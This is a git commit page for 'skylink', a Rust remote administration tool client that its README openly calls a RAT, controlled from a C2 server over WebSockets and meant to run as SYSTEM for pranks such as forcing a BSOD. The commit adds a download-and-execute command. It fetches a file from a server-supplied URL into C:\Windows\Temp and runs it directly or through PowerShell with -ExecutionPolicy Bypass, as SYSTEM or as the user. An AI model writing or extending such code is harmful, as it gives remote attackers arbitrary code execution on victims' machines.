feat: dnx core
This commit is contained in:
parent
f4e5a02de7
commit
a208b0d0ce
4 changed files with 55 additions and 3 deletions
13
README.md
13
README.md
|
|
@ -1 +1,14 @@
|
|||
# skylink
|
||||
|
||||
A R.A.T. (Remote Administration Tool) made mostly as an in-joke between some friends of mine. Originally intended for learning purposes, they volunteered to install the initial prototype (A.K.A. Skylink 0.1) on their computers, which I used for some pranks, but it was unreliable and held together by hopes and prayers, so here I am making a rewrite!
|
||||
This uses the same tech stack (Rust, Tokio, Tokio-tungstenite) however this is *only* the client, as the C2 server is being rewritten in Python.
|
||||
Much like 0.1, this version of Skylink uses JSON over WebSockets to communicate with a C2 server, however this time the WebSocket implementation is far more reliable and the JSON protocol is different, being easier to understand.
|
||||
It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, because more privileges means more potential for tomfoolery. For example, running as SYSTEM lets me enable test mode, install [BugCheck2Linux](https://github.com/NSG650/BugCheck2Linux) and cause a BSOD.
|
||||
|
||||
## roadmap
|
||||
- [X] reliable websockets
|
||||
- [X] run\_as\_user
|
||||
- [X] basic commands
|
||||
- [ ] download and execute
|
||||
- [ ] dnx python
|
||||
- [ ] windows service
|
||||
|
|
|
|||
41
src/lib.rs
41
src/lib.rs
|
|
@ -30,7 +30,7 @@ pub enum PayloadType {
|
|||
pub struct DnxParams {
|
||||
pub url: String,
|
||||
pub name: String,
|
||||
pub args: String,
|
||||
pub args: Vec<String>,
|
||||
pub run_as_system: bool,
|
||||
pub file_type: PayloadType,
|
||||
}
|
||||
|
|
@ -78,6 +78,45 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
|||
let skylink_ver = "1.0.0";
|
||||
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
|
||||
}
|
||||
Command::Dnx { params } => {
|
||||
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
|
||||
// 1. Toss the file into temp
|
||||
let request = reqwest::get(params.url).await?.bytes().await?;
|
||||
let file_name = params.name;
|
||||
let file_path = format!("C:\\Windows\\Temp\\{file_name}");
|
||||
std::fs::write(&file_path, &request)?;
|
||||
|
||||
// 2. Handle possible file types.
|
||||
log(LogLevel::Debug, LOG_PATH, format!("s2")).await;
|
||||
let mut _exec_command = String::new();
|
||||
let mut _exec_args: Vec<String> = vec![];
|
||||
match params.file_type {
|
||||
PayloadType::Executable => {
|
||||
_exec_command = file_path.clone();
|
||||
_exec_args = params.args;
|
||||
}
|
||||
PayloadType::Powershell => {
|
||||
_exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string();
|
||||
_exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
|
||||
_exec_args.extend(params.args.iter().cloned());
|
||||
}
|
||||
PayloadType::Python => todo!("py payload handling"),
|
||||
}
|
||||
|
||||
// 3. Handle user vs system execution.
|
||||
log(LogLevel::Debug, LOG_PATH, format!("s3")).await;
|
||||
if params.run_as_system == true {
|
||||
std::process::Command::new(&_exec_command).args(&_exec_args).output()?;
|
||||
} else {
|
||||
let mut command_line_args = vec![format!("\"{}\"", _exec_command)];
|
||||
command_line_args.extend(_exec_args);
|
||||
let command_line = command_line_args.join(" ");
|
||||
|
||||
run_as_user(&_exec_command, &command_line)?;
|
||||
}
|
||||
// this was way easier than i expected... assuming it works :pilgrim2:
|
||||
Ok(format!(""))
|
||||
}
|
||||
_ => todo!(),
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -34,7 +34,7 @@ pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
|
|||
|
||||
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
||||
// weird barely detectable bug pops up, as LLMs tend to generate.
|
||||
async fn websocket_handler(ws_tx: WsTx) {
|
||||
pub async fn websocket_handler(ws_tx: WsTx) {
|
||||
use std::time::Duration;
|
||||
use tokio_tungstenite::connect_async;
|
||||
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
use futures_util::{SinkExt, stream::StreamExt};
|
||||
use skylink::lib::logger::{LogLevel, log};
|
||||
use skylink::{LOG_PATH, WS_URL};
|
||||
use skylink::{WsTx, eval_command, lib::websockets::websocket_handler, lib::websockets::reconnect_websocket};
|
||||
use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler};
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Mutex;
|
||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue